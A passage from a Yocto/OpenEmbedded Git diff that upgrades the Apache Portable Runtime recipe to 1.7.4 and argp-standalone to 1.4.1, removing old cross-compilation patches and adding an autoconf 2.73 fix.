flags="$flags -I$includedir $EXTRA_INCLUDES"
+- elif test "$location" = "crosscompile"; then
+- flags="$flags -I$APR_TARGET_DIR/$includedir $EXTRA_INCLUDES"
- elif test "$location" = "source"; then
- flags="$flags -I$APR_SOURCE_DIR/include $EXTRA_INCLUDES"
- else
@@ -37,13 +39,15 @@ index 84b4073..bbbf651 100644
;;
--srcdir)
echo $APR_SOURCE_DIR
-@@ -181,29 +174,14 @@ while test $# -gt 0; do
+@@ -197,33 +188,14 @@ while test $# -gt 0; do
exit 0
;;
--link-ld)
- if test "$location" = "installed"; then
- ### avoid using -L if libdir is a "standard" location like /usr/lib
- flags="$flags -L$libdir -l${APR_LIBNAME}"
+- elif test "$location" = "crosscompile"; then
+- flags="$flags -L$APR_TARGET_DIR/$libdir -l${APR_LIBNAME}"
- else
- ### this surely can't work since the library is in .libs?
- flags="$flags -L$APR_BUILD_DIR -l${APR_LIBNAME}"
@@ -62,6 +66,8 @@ index 84b4073..bbbf651 100644
- # Since the user is specifying they are linking with libtool, we
- # *know* that -R will be recognized by libtool.
- flags="$flags -L$libdir -R$libdir -l${APR_LIBNAME}"
+- elif test "$location" = "crosscompile"; then
+- flags="$flags -L${APR_TARGET_DIR}/$libdir -l${APR_LIBNAME}"
- else
- flags="$flags $LA_FILE"
- fi
@@ -69,6 +75,3 @@ index 84b4073..bbbf651 100644
;;
--shlib-path-var)
echo "$SHLIBPATH_VAR"
---
-1.8.3.1
-
diff --git a/meta/recipes-support/apr/apr/0003-Makefile.in-configure.in-support-cross-compiling.patch b/meta/recipes-support/apr/apr/0003-Makefile.in-configure.in-support-cross-compiling.patch
deleted file mode 100644
index 4dd53bd8eb..0000000000
--- a/meta/recipes-support/apr/apr/0003-Makefile.in-configure.in-support-cross-compiling.patch
+++ /dev/null
@@ -1,63 +0,0 @@
-From d5028c10f156c224475b340cfb1ba025d6797243 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Fri, 2 Feb 2018 15:51:42 +0800
-Subject: [PATCH 3/7] Makefile.in/configure.in: support cross compiling
-
-While cross compiling, the tools/gen_test_char could not
-be executed at build time, use AX_PROG_CC_FOR_BUILD to
-build native tools/gen_test_char
-
-Upstream-Status: Submitted [https://github.com/apache/apr/pull/8]
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- Makefile.in | 10 +++-------
- configure.in | 3 +++
- 2 files changed, 6 insertions(+), 7 deletions(-)
-
-diff --git a/Makefile.in b/Makefile.in
-index 5fb760e..8675f90 100644
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -46,7 +46,7 @@ LT_VERSION = @LT_VERSION@
-
- CLEAN_TARGETS = apr-config.out apr.exp exports.c export_vars.c .make.dirs \
- build/apr_rules.out tools/gen_test_char@EXEEXT@ \
-- tools/gen_test_char.o tools/gen_test_char.lo \
-+ tools/gen_test_char.o \
- include/private/apr_escape_test_char.h
- DISTCLEAN_TARGETS = config.cache config.log config.status \
- include/apr.h include/arch/unix/apr_private.h \
-@@ -131,13 +131,9 @@ check: $(TARGET_LIB)
- etags:
- etags `find . -name '*.[ch]'`
-
--OBJECTS_gen_test_char = tools/gen_test_char.lo $(LOCAL_LIBS)
--tools/gen_test_char.lo: tools/gen_test_char.c
-+tools/gen_test_char@EXEEXT@: tools/gen_test_char.c
- $(APR_MKDIR) tools
-- $(LT_COMPILE)
--
--tools/gen_test_char@EXEEXT@: $(OBJECTS_gen_test_char)
-- $(LINK_PROG) $(OBJECTS_gen_test_char) $(ALL_LIBS)
-+ $(CC_FOR_BUILD) $(CFLAGS_FOR_BUILD) $< -o $@
-
- include/private/apr_escape_test_char.h: tools/gen_test_char@EXEEXT@
- $(APR_MKDIR) include/private
-diff --git a/configure.in b/configure.in
-index 719f331..361120f 100644
---- a/configure.in
-+++ b/configure.in
-@@ -183,6 +183,9 @@ dnl can only be used once within a configure script, so this prevents a
- dnl preload section from invoking the macro to get compiler info.
- AC_PROG_CC
-
-+dnl Check build CC for gen_test_char compiling which is executed at build time.
-+AX_PROG_CC_FOR_BUILD
-+
- dnl AC_PROG_SED is only avaliable in recent autoconf versions.
- dnl Use AC_CHECK_PROG instead if AC_PROG_SED is not present.
- ifdef([AC_PROG_SED],
---
-1.8.3.1
-
diff --git a/meta/recipes-support/apr/apr/0006-apr-fix-off_t-size-doesn-t-match-in-glibc-when-cross.patch b/meta/recipes-support/apr/apr/0006-apr-fix-off_t-size-doesn-t-match-in-glibc-when-cross.patch
deleted file mode 100644
index d1a2ebe881..0000000000
--- a/meta/recipes-support/apr/apr/0006-apr-fix-off_t-size-doesn-t-match-in-glibc-when-cross.patch
+++ /dev/null
@@ -1,76 +0,0 @@
-From 49661ea3858cf8494926cccf57d3e8c6dcb47117 Mon Sep 17 00:00:00 2001
-From: Dengke Du <dengke.du@windriver.com>
-Date: Wed, 14 Dec 2016 18:13:08 +0800
-Subject: [PATCH] apr: fix off_t size doesn't match in glibc when cross
- compiling
-
-In configure.in, it contains the following:
-
- APR_CHECK_SIZEOF_EXTENDED([#include <sys/types.h>], off_t, 8)
-
-the macro "APR_CHECK_SIZEOF_EXTENDED" was defined in build/apr_common.m4,
-it use the "AC_TRY_RUN" macro, this macro let the off_t to 8, when cross
-compiling enable.
-
-So it was hardcoded for cross compiling, we should detect it dynamic based on
-the sysroot's glibc. We change it to the following:
-
- AC_CHECK_SIZEOF(off_t)
-
-The same for the following hardcoded types for cross compiling:
-
- pid_t 8
- ssize_t 8
- size_t 8
- off_t 8
-
-Change the above correspondingly.
-
-Signed-off-by: Dengke Du <dengke.du@windriver.com>
-
-Upstream-Status: Pending
-
----
- configure.in | 8 ++++----
- 1 file changed, 4 insertions(+), 4 deletions(-)
-
-diff --git a/configure.in b/configure.in
-index 27b8539..fb408d1 100644
---- a/configure.in
-+++ b/configure.in
-@@ -1801,7 +1801,7 @@ else
- socklen_t_value="int"
- fi
-
--APR_CHECK_SIZEOF_EXTENDED([#include <sys/types.h>], pid_t, 8)
-+AC_CHECK_SIZEOF(pid_t)
-
- if test "$ac_cv_sizeof_pid_t" = "$ac_cv_sizeof_short"; then
- pid_t_fmt='#define APR_PID_T_FMT "hd"'
-@@ -1873,7 +1873,7 @@ APR_CHECK_TYPES_FMT_COMPATIBLE(size_t, unsigned long, lu, [size_t_fmt="lu"], [
- APR_CHECK_TYPES_FMT_COMPATIBLE(size_t, unsigned int, u, [size_t_fmt="u"])
- ])
-
--APR_CHECK_SIZEOF_EXTENDED([#include <sys/types.h>], ssize_t, 8)
-+AC_CHECK_SIZEOF(ssize_t)
-
- dnl the else cases below should no longer occur;
- AC_MSG_CHECKING([which format to use for apr_ssize_t])
-@@ -1891,7 +1891,7 @@ fi
-
- ssize_t_fmt="#define APR_SSIZE_T_FMT \"$ssize_t_fmt\""
-
--APR_CHECK_SIZEOF_EXTENDED([#include <stddef.h>], size_t, 8)
-+AC_CHECK_SIZEOF(size_t)
-
- # else cases below should no longer occur;
- AC_MSG_CHECKING([which format to use for apr_size_t])
-@@ -1909,7 +1909,7 @@ fi
-
- size_t_fmt="#define APR_SIZE_T_FMT \"$size_t_fmt\""
-
--APR_CHECK_SIZEOF_EXTENDED([#include <sys/types.h>], off_t, 8)
-+AC_CHECK_SIZEOF(off_t)
-
- if test "${ac_cv_sizeof_off_t}${apr_cv_use_lfs64}" = "4yes"; then
- # Enable LFS
diff --git a/meta/recipes-support/apr/apr/autoconf-2.73.patch b/meta/recipes-support/apr/apr/autoconf-2.73.patch
new file mode 100644
index 0000000000..a8b7a77566
--- /dev/null
+++ b/meta/recipes-support/apr/apr/autoconf-2.73.patch
@@ -0,0 +1,26 @@
+To work with autoconf 2.73, tweak the macro ordering in configure.in.
+
+Upstream-Status: Pending
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Index: apr-1.7.2/configure.in
+===================================================================
+--- apr-1.7.2.orig/configure.in
++++ apr-1.7.2/configure.in
+@@ -430,6 +430,8 @@ if test "$host" = "i586-pc-beos"; then
+ ) dnl
+ fi
+
++APR_CHECK_DEFINE(LOCK_EX, sys/file.h)
++
+ # this is the place to put specific options for platform/compiler
+ # combinations
+ case "$host:$CC" in
+@@ -2384,7 +2386,6 @@ AC_MSG_RESULT([$msg])
+ AC_SUBST(have_union_semun)
+
+ dnl Checks for libraries.
+-APR_CHECK_DEFINE(LOCK_EX, sys/file.h)
+ APR_CHECK_DEFINE(F_SETLK, fcntl.h)
+ APR_CHECK_DEFINE(SEM_UNDO, sys/sem.h)
+
diff --git a/meta/recipes-support/apr/apr/libtoolize_check.patch b/meta/recipes-support/apr/apr/libtoolize_check.patch
index 740792e6b0..80ce43caa4 100644
--- a/meta/recipes-support/apr/apr/libtoolize_check.patch
+++ b/meta/recipes-support/apr/apr/libtoolize_check.patch
@@ -1,6 +1,7 @@
+From 17835709bc55657b7af1f7c99b3f572b819cf97e Mon Sep 17 00:00:00 2001
From: Helmut Grohne <helmut@subdivi.de>
-Subject: check for libtoolize rather than libtool
-Last-Update: 2014-09-19
+Date: Tue, 7 Feb 2023 07:04:00 +0000
+Subject: [PATCH] check for libtoolize rather than libtool
libtool is now in package libtool-bin, but apr only needs libtoolize.
@@ -8,14 +9,22 @@ Upstream-Status: Pending [ from debian: https://sources.debian.org/data/main/a/a
Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
---- apr.orig/build/buildcheck.sh
-+++ apr/build/buildcheck.sh
-@@ -39,11 +39,11 @@ fi
+---
+ build/buildcheck.sh | 10 ++++------
+ 1 file changed, 4 insertions(+), 6 deletions(-)
+
+diff --git a/build/buildcheck.sh b/build/buildcheck.sh
+index 44921b5..08bc8a8 100755
+--- a/build/buildcheck.sh
++++ b/build/buildcheck.sh
+@@ -39,13 +39,11 @@ fi
# ltmain.sh (GNU libtool 1.1361 2004/01/02 23:10:52) 1.5a
# output is multiline from 1.5 onwards
-# Require libtool 1.4 or newer
--libtool=`build/PrintPath glibtool1 glibtool libtool libtool15 libtool14`
+-if test -z "$libtool"; then
+- libtool=`build/PrintPath glibtool1 glibtool libtool libtool15 libtool14`
+-fi
-lt_pversion=`$libtool --version 2>/dev/null|sed -e 's/([^)]*)//g;s/^[^0-9]*//;s/[- ].*//g;q'`
+# Require libtoolize 1.4 or newer
+libtoolize=`build/PrintPath glibtoolize1 glibtoolize libtoolize libtoolize15 libtoolize14`
diff --git a/meta/recipes-support/apr/apr_1.7.0.bb b/meta/recipes-support/apr/apr_1.7.0.bb
deleted file mode 100644
index 7073af8c98..0000000000
--- a/meta/recipes-support/apr/apr_1.7.0.bb
+++ /dev/null
@@ -1,120 +0,0 @@
-SUMMARY = "Apache Portable Runtime (APR) library"
-HOMEPAGE = "http://apr.apache.org/"
-SECTION = "libs"
-DEPENDS = "util-linux"
-
-LICENSE = "Apache-2.0"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=4dfd4cd216828c8cae5de5a12f3844c8 \
- file://include/apr_lib.h;endline=15;md5=823b3d1a7225df8f7b68a69c3c2b4c71"
-
-BBCLASSEXTEND = "native nativesdk"
-
-SRC_URI = "${APACHE_MIRROR}/apr/${BPN}-${PV}.tar.bz2 \
- file://run-ptest \
- file://0002-apr-Remove-workdir-path-references-from-installed-ap.patch \
- file://0003-Makefile.in-configure.in-support-cross-compiling.patch \
- file://0004-Fix-packet-discards-HTTP-redirect.patch \
- file://0005-configure.in-fix-LTFLAGS-to-make-it-work-with-ccache.patch \
- file://0006-apr-fix-off_t-size-doesn-t-match-in-glibc-when-cross.patch \
- file://0007-explicitly-link-libapr-against-phtread-to-make-gold-.patch \
- file://libtoolize_check.patch \
- file://0001-Add-option-to-disable-timed-dependant-tests.patch \
- "
-
-SRC_URI[md5sum] = "7a14a83d664e87599ea25ff4432e48a7"
-SRC_URI[sha256sum] = "e2e148f0b2e99b8e5c6caa09f6d4fb4dd3e83f744aa72a952f94f5a14436f7ea"
-
-inherit autotools-brokensep lib_package binconfig multilib_header ptest multilib_script
-
-OE_BINCONFIG_EXTRA_MANGLE = " -e 's:location=source:location=installed:'"
-
-# Added to fix some issues with cmake. Refer to https://github.com/bmwcarit/meta-ros/issues/68#issuecomment-19896928
-CACHED_CONFIGUREVARS += "apr_cv_mutex_recursive=yes"
-
-# Also suppress trying to use sctp.
-#
-CACHED_CONFIGUREVARS += "ac_cv_header_netinet_sctp_h=no ac_cv_header_netinet_sctp_uio_h=no"
-
-CACHED_CONFIGUREVARS += "ac_cv_sizeof_struct_iovec=yes"
-CACHED_CONFIGUREVARS += "ac_cv_file__dev_zero=yes"
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
-PACKAGECONFIG[timed-tests] = "--enable-timed-tests,--disable-timed-tests,"
-
-do_configure_prepend() {
- # Avoid absolute paths for grep since it causes failures
- # when using sstate between different hosts with different
- # install paths for grep.
- export GREP="grep"
-
- cd ${S}
- # The "2" means libtool version 2.
- ./buildconf 2
-}
-
-MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/apr-1-config \
- ${PN}-dev:${datadir}/build-1/apr_rules.mk"
-
-FILES_${PN}-dev += "${libdir}/apr.exp ${datadir}/build-1/*"
-RDEPENDS_${PN}-dev += "bash"
-
-RDEPENDS_${PN}-ptest += "libgcc"
-
-#for some reason, build/libtool.m4 handled by buildconf still be overwritten
-#when autoconf, so handle it again.
-do_configure_append() {
- sed -i -e 's/LIBTOOL=\(.*\)top_build/LIBTOOL=\1apr_build/' ${S}/build/libtool.m4
- sed -i -e 's/LIBTOOL=\(.*\)top_build/LIBTOOL=\1apr_build/' ${S}/build/apr_rules.mk
-}
-
-do_install_append() {
- oe_multilib_header apr.h
- install -d ${D}${datadir}/apr
-}
-
-do_install_append_class-target() {
- sed -i -e 's,${DEBUG_PREFIX_MAP},,g' \
- -e 's,${STAGING_DIR_HOST},,g' ${D}${datadir}/build-1/apr_rules.mk
- sed -i -e 's,${STAGING_DIR_HOST},,g' \
- -e 's,APR_SOURCE_DIR=.*,APR_SOURCE_DIR=,g' \
- -e 's,APR_BUILD_DIR=.*,APR_BUILD_DIR=,g' ${D}${bindir}/apr-1-config
-}
-
-SSTATE_SCAN_FILES += "apr_rules.mk libtool"
-
-SYSROOT_PREPROCESS_FUNCS += "apr_sysroot_preprocess"
-
-apr_sysroot_preprocess () {
- d=${SYSROOT_DESTDIR}${datadir}/apr
- install -d $d/
- cp ${S}/build/apr_rules.mk $d/
- sed -i s,apr_builddir=.*,apr_builddir=,g $d/apr_rules.mk
- sed -i s,apr_builders=.*,apr_builders=,g $d/apr_rules.mk
- sed -i s,LIBTOOL=.*,LIBTOOL=${HOST_SYS}-libtool,g $d/apr_rules.mk
- sed -i s,\$\(apr_builders\),${STAGING_DATADIR}/apr/,g $d/apr_rules.mk
- cp ${S}/build/mkdir.sh $d/
- cp ${S}/build/make_exports.awk $d/
- cp ${S}/build/make_var_export.awk $d/
- cp ${S}/${HOST_SYS}-libtool ${SYSROOT_DESTDIR}${datadir}/build-1/libtool
-}
-
-do_compile_ptest() {
- cd ${S}/test
- oe_runmake
-}
-
-do_install_ptest() {
- t=${D}${PTEST_PATH}/test
- mkdir -p $t/.libs
- cp -r ${S}/test/data $t/
- cp -r ${S}/test/.libs/*.so $t/.libs/
- cp ${S}/test/proc_child $t/
- cp ${S}/test/readchild $t/
- cp ${S}/test/sockchild $t/
- cp ${S}/test/sockperf $t/
- cp ${S}/test/testall $t/
- cp ${S}/test/tryread $t/
-}
-
-export CONFIG_SHELL="/bin/bash"
diff --git a/meta/recipes-support/apr/apr_1.7.4.bb b/meta/recipes-support/apr/apr_1.7.4.bb
new file mode 100644
index 0000000000..d322629b66
--- /dev/null
+++ b/meta/recipes-support/apr/apr_1.7.4.bb
@@ -0,0 +1,139 @@
+SUMMARY = "Apache Portable Runtime (APR) library"
+
+DESCRIPTION = "Create and maintain software libraries that provide a predictable \
+and consistent interface to underlying platform-specific implementations."
+
+HOMEPAGE = "http://apr.apache.org/"
+SECTION = "libs"
+DEPENDS = "util-linux"
+
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=4dfd4cd216828c8cae5de5a12f3844c8 \
+ file://include/apr_lib.h;endline=15;md5=823b3d1a7225df8f7b68a69c3c2b4c71"
+
+BBCLASSEXTEND = "native nativesdk"
+
+SRC_URI = "${APACHE_MIRROR}/apr/${BPN}-${PV}.tar.bz2 \
+ file://run-ptest \
+ file://0002-apr-Remove-workdir-path-references-from-installed-ap.patch \
+ file://0004-Fix-packet-discards-HTTP-redirect.patch \
+ file://0005-configure.in-fix-LTFLAGS-to-make-it-work-with-ccache.patch \
+ file://0007-explicitly-link-libapr-against-phtread-to-make-gold-.patch \
+ file://libtoolize_check.patch \
+ file://0001-Add-option-to-disable-timed-dependant-tests.patch \
+ file://0001-configure-Remove-runtime-test-for-mmap-that-can-map-.patch \
+ file://autoconf-2.73.patch \
+ file://0001-dso-Check-for-NULL-handle-in-apr_dso_sym.patch \
+ "
+
+SRC_URI[sha256sum] = "fc648de983f3a2a6c9e78dea1f180639bd2fad6c06d556d4367a701fe5c35577"
+
+inherit autotools-brokensep lib_package binconfig multilib_header ptest multilib_script
+
+OE_BINCONFIG_EXTRA_MANGLE = " -e 's:location=source:location=installed:'"
+
+# Added to fix some issues with cmake. Refer to https://github.com/bmwcarit/meta-ros/issues/68#issuecomment-19896928
+CACHED_CONFIGUREVARS += "apr_cv_mutex_recursive=yes"
+# Enable largefile
+CACHED_CONFIGUREVARS += "apr_cv_use_lfs64=yes"
+# Additional AC_TRY_RUN tests which will need to be cached for cross compile
+CACHED_CONFIGUREVARS += "apr_cv_epoll=yes epoll_create1=yes apr_cv_sock_cloexec=yes \
+ ac_cv_struct_rlimit=yes \
+ ac_cv_func_sem_open=yes \
+ apr_cv_process_shared_works=yes \
+ apr_cv_mutex_robust_shared=yes \
+ "
+# Also suppress trying to use sctp.
+#
+CACHED_CONFIGUREVARS += "ac_cv_header_netinet_sctp_h=no ac_cv_header_netinet_sctp_uio_h=no"
+
+# ac_cv_sizeof_struct_iovec is deduced using runtime check which will fail during cross-compile
+CACHED_CONFIGUREVARS += "${@['ac_cv_sizeof_struct_iovec=16','ac_cv_sizeof_struct_iovec=8'][d.getVar('SITEINFO_BITS') != '32']}"
+
+CACHED_CONFIGUREVARS += "ac_cv_file__dev_zero=yes"
+
+CACHED_CONFIGUREVARS:append:libc-musl = " ac_cv_strerror_r_rc_int=yes"
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
+PACKAGECONFIG:append:libc-musl = " xsi-strerror"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
+PACKAGECONFIG[timed-tests] = "--enable-timed-tests,--disable-timed-tests,"
+PACKAGECONFIG[xsi-strerror] = "ac_cv_strerror_r_rc_int=yes,ac_cv_strerror_r_rc_int=no,"
+
+do_configure:prepend() {
+ # Avoid absolute paths for grep since it causes failures
+ # when using sstate between different hosts with different
+ # install paths for grep.
+ export GREP="grep"
+
+ cd ${S}
+ # The "2" means libtool version 2.
+ ./buildconf 2
+}
+
+MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/apr-1-config \
+ ${PN}-dev:${datadir}/build-1/apr_rules.mk"
+
+FILES:${PN}-dev += "${libdir}/apr.exp ${datadir}/build-1/*"
+RDEPENDS:${PN}-dev += "bash libtool"
+
+RDEPENDS:${PN}-ptest += "libgcc"
+
+#for some reason, build/libtool.m4 handled by buildconf still be overwritten
+#when autoconf, so handle it again.
+do_configure:append() {
+ sed -i -e 's/LIBTOOL=\(.*\)top_build/LIBTOOL=\1apr_build/' ${S}/build/libtool.m4
+ sed -i -e 's/LIBTOOL=\(.*\)top_build/LIBTOOL=\1apr_build/' ${S}/build/apr_rules.mk
+}
+
+do_install:append() {
+ oe_multilib_header apr.h
+ install -d ${D}${datadir}/apr
+}
+
+do_install:append:class-target() {
+ rm -f ${D}${datadir}/build-1/libtool
+ sed -i s,LIBTOOL=.*,LIBTOOL=libtool,g ${D}${datadir}/build-1/apr_rules.mk
+ sed -i -e 's,${DEBUG_PREFIX_MAP},,g' \
+ -e 's,${STAGING_DIR_HOST},,g' ${D}${datadir}/build-1/apr_rules.mk
+ sed -i -e 's,${STAGING_DIR_HOST},,g' \
+ -e 's,APR_SOURCE_DIR=.*,APR_SOURCE_DIR=,g' \
+ -e 's,APR_BUILD_DIR=.*,APR_BUILD_DIR=,g' ${D}${bindir}/apr-1-config
+}
+
+SSTATE_SCAN_FILES += "apr_rules.mk libtool"
+
+SYSROOT_PREPROCESS_FUNCS += "apr_sysroot_preprocess"
+
+apr_sysroot_preprocess () {
+ d=${SYSROOT_DESTDIR}${datadir}/apr
+ install -d $d/
+ cp ${S}/build/apr_rules.mk $d/
+ sed -i s,apr_builddir=.*,apr_builddir=,g $d/apr_rules.mk
+ sed -i s,apr_builders=.*,apr_builders=,g $d/apr_rules.mk
+ sed -i s,LIBTOOL=.*,LIBTOOL=libtool,g $d/apr_rules.mk
+ sed -i s,\$\(apr_builders\),${STAGING_DATADIR}/apr/,g $d/apr_rules.mk
+ cp ${S}/build/mkdir.sh $d/
+ cp ${S}/build/make_exports.awk $d/
+ cp ${S}/build/make_var_export.awk $d/
+ cp ${S}/libtool ${SYSROOT_DESTDIR}${datadir}/build-1/libtool
+}
+
+do_compile_ptest() {
+ cd ${S}/test
+ oe_runmake
+}
+
+do_install_ptest() {
+ t=${D}${PTEST_PATH}/test
+ mkdir -p $t/.libs
+ cp -r ${S}/test/data $t/
+ cp -r ${S}/test/.libs/*.so $t/.libs/
+ cp ${S}/test/proc_child $t/
+ cp ${S}/test/readchild $t/
+ cp ${S}/test/sockchild $t/
+ cp ${S}/test/sockperf $t/
+ cp ${S}/test/testall $t/
+ cp ${S}/test/tryread $t/
+}
+
+export CONFIG_SHELL="/bin/bash"
diff --git a/meta/recipes-support/argp-standalone/argp-standalone_1.3.bb b/meta/recipes-support/argp-standalone/argp-standalone_1.3.bb
deleted file mode 100644
index 21bbcab3d3..0000000000
--- a/meta/recipes-support/argp-standalone/argp-standalone_1.3.bb
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2015 Khem Raj <raj.khem@gmail.com>
-# Released under the MIT license (see COPYING.MIT for the terms)
-
-SUMMARY = "Glibc hierarchical argument parsing standalone library"
-HOMEPAGE = "http://www.lysator.liu.se/~nisse/misc/"
-LICENSE = "LGPL-2.1"
-LIC_FILES_CHKSUM = "file://argp.h;beginline=1;endline=20;md5=008b7e53dea6f9e1d9fdef0d9cf3184a"
-SECTION = "libs"
-
-SRC_URI = "http://www.lysator.liu.se/~nisse/misc/argp-standalone-${PV}.tar.gz \
- file://0001-throw-in-funcdef.patch \
- file://0002-isprint.patch \
- file://out_of_tree_build.patch \
- "
-SRC_URI[md5sum] = "720704bac078d067111b32444e24ba69"
-SRC_URI[sha256sum] = "dec79694da1319acd2238ce95df57f3680fea2482096e483323fddf3d818d8be"
-
-inherit autotools
-
-CFLAGS += "-fPIC -U__OPTIMIZE__"
-
-RDEPENDS_${PN}-dev = ""
-RDEPENDS_${PN}-staticdev = ""
-
-do_install() {
- install -D -m 0644 ${B}/libargp.a ${D}${libdir}/libargp.a
- install -D -m 0644 ${S}/argp.h ${D}${includedir}/argp.h
-}
-#
-# We will skip parsing for non-musl systems
-#
-COMPATIBLE_HOST = ".*-musl.*"
diff --git a/meta/recipes-support/argp-standalone/argp-standalone_1.4.1.bb b/meta/recipes-support/argp-standalone/argp-standalone_1.4.1.bb
new file mode 100644
index 0000000000..00b6036502
--- /dev/null
+++ b/meta/recipes-support/argp-standalone/argp-standalone_1.4.1.bb
@@ -0,0 +1,31 @@
+# Copyright (C) 2015 Khem Raj <raj.khem@gmail.com>
+# Released under the MIT license (see COPYING.MIT for the terms)
+
+SUMMARY = "Glibc hierarchical argument parsing standalone library"
+DESCRIPTION = "Standalone version of arguments parsing functions from GLIBC"
+HOMEPAGE = "https://github.com/ericonr/argp-standalone"
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://argp.h;beginline=1;endline=20;md5=464f2cfb1c35a5123f9e309d7afd79f8"
+SECTION = "libs"
+
+SRC_URI = "git://github.com/ericonr/argp-standalone;branch=master;protocol=https \
+ file://out_of_tree_build.patch \
+ "
+SRCREV = "e5fe9ad9e83e6765cf8fa787f903d4c6792338b5"
+S = "${WORKDIR}/git"
+
+inherit autotools
+
+CFLAGS += "-fPIC -U__OPTIMIZE__"
+
+DEV_PKG_DEPENDENCY = ""
+RDEPENDS:${PN}-staticdev = ""
+
+do_install() {
+ install -D -m 0644 ${B}/libargp.a ${D}${libdir}/libargp.a
+ install -D -m 0644 ${S}/argp.h ${D}${includedir}/argp.h
+}
+#
+# We will skip parsing for non-musl systems
+#
+COMPATIBLE_HOST = ".*-musl.*"
diff --git a/meta/recipes-support/argp-standalone/files/0001-throw-in-funcdef.patch b/meta/recipes-support/argp-standalone/files/0001-throw-in-funcdef.patch
deleted file mode 100644
index a6e2759c5d..0000000000
--- a/meta/recipes-support/argp-standalone/files/0001-throw-in-funcdef.patch
+++ /dev/null
@@ -1,84 +0,0 @@
-# --- T2-COPYRIGHT-NOTE-BEGIN ---
-# This copyright note is auto-generated by ./scripts/Create-CopyPatch.
-#
-# T2 SDE: package/.../rng-tools/throw-in-funcdef.patch.argp-standalone
-# Copyright (C) 2006 The T2 SDE Project
-#
-# More information can be found in the files COPYING and README.
-#
-# This patch file is dual-licensed. It is available under the license the
-# patched project is licensed under, as long as it is an OpenSource license
-# as defined at http://www.opensource.org/ (e.g. BSD, X11) or under the terms
-# of the GNU General Public License as published by the Free Software
-# Foundation; either version 2 of the License, or (at your option) any later
-# version.
-# --- T2-COPYRIGHT-NOTE-END ---
-
-
-No __THROW in function implementation.
- --jsaw
-
-Taken from buildroot
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
---- argp-standalone-1.4-test2/argp.h.orig 2006-01-06 02:29:59.000000000 +0100
-+++ argp-standalone-1.4-test2/argp.h 2006-01-06 02:41:10.000000000 +0100
-@@ -560,17 +560,17 @@
- # endif
-
- # ifndef ARGP_EI
--# define ARGP_EI extern __inline__
-+# define ARGP_EI extern inline
- # endif
-
- ARGP_EI void
--__argp_usage (__const struct argp_state *__state) __THROW
-+__argp_usage (__const struct argp_state *__state)
- {
- __argp_state_help (__state, stderr, ARGP_HELP_STD_USAGE);
- }
-
- ARGP_EI int
--__option_is_short (__const struct argp_option *__opt) __THROW
-+__option_is_short (__const struct argp_option *__opt)
- {
- if (__opt->flags & OPTION_DOC)
- return 0;
-@@ -582,7 +582,7 @@
- }
-
- ARGP_EI int
--__option_is_end (__const struct argp_option *__opt) __THROW
-+__option_is_end (__const struct argp_option *__opt)
- {
- return !__opt->key && !__opt->name && !__opt->doc && !__opt->group;
- }
---- argp-standalone-1.4-test2/argp-parse.c.orig 2006-01-06 02:47:48.000000000 +0100
-+++ argp-standalone-1.4-test2/argp-parse.c 2006-01-06 02:48:16.000000000 +0100
-@@ -1290,13 +1290,13 @@
- /* Defined here, in case a user is not inlining the definitions in
- * argp.h */
- void
--__argp_usage (__const struct argp_state *__state) __THROW
-+__argp_usage (__const struct argp_state *__state)
- {
- __argp_state_help (__state, stderr, ARGP_HELP_STD_USAGE);
- }
-
- int
--__option_is_short (__const struct argp_option *__opt) __THROW
-+__option_is_short (__const struct argp_option *__opt)
- {
- if (__opt->flags & OPTION_DOC)
- return 0;
-@@ -1310,7 +1310,7 @@
- }
-
- int
--__option_is_end (__const struct argp_option *__opt) __THROW
-+__option_is_end (__const struct argp_option *__opt)
- {
- return !__opt->key && !__opt->name && !__opt->doc && !__opt->group;
- }
diff --git a/meta/recipes-support/argp-standalone/files/0002-isprint.patch b/meta/recipes-support/argp-standalone/files/0002-isprint.patch
deleted file mode 100644
index 1c07eea3c1..0000000000
--- a/meta/recipes-support/argp-standalone/files/0002-isprint.patch
+++ /dev/null
@@ -1,51 +0,0 @@
-Subject: restrict value range passed to isprint function
-
-According to C standards isprint argument shall be representable as an
-unsigned char or be equal to EOF, otherwise the behaviour is undefined.
-
-Passing arbitrary ints leads to segfault in nm program from elfutils.
-
-Restrict isprint argument range to values representable by unsigned char.
-
-Signed-off-by: Max Filippov <jcmvbkbc@gmail.com>
-
-Taken from buildroot
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
----
-Index: b/argp.h
-===================================================================
---- a/argp.h
-+++ b/argp.h
-@@ -23,6 +23,7 @@
-
- #include <stdio.h>
- #include <ctype.h>
-+#include <limits.h>
-
- #define __need_error_t
- #include <errno.h>
-@@ -577,7 +578,7 @@
- else
- {
- int __key = __opt->key;
-- return __key > 0 && isprint (__key);
-+ return __key > 0 && __key <= UCHAR_MAX && isprint (__key);
- }
- }
-
-Index: b/argp-parse.c
-===================================================================
---- a/argp-parse.c
-+++ b/argp-parse.c
-@@ -1292,7 +1292,7 @@
- int __key = __opt->key;
- /* FIXME: whether or not a particular key implies a short option
- * ought not to be locale dependent. */
-- return __key > 0 && isprint (__key);
-+ return __key > 0 && __key <= UCHAR_MAX && isprint (__key);
- }
- }
-
diff --git a/meta/recipes-support/argp-standalone/files/out_of_tree_build.patch b/meta/recipes-support/argp-standalone/files/out_of_tree_build.patch
index b7777cbd91..c863104430 100644
--- a/meta/recipes-support/argp-standalone/files/out_of_tree_build.patch
+++ b/meta/recipes-support/argp-standalone/files/out_of_tree_build.patch
@@ -2,7 +2,7 @@ Fix the testsuite to built out of tree
in OE S != B
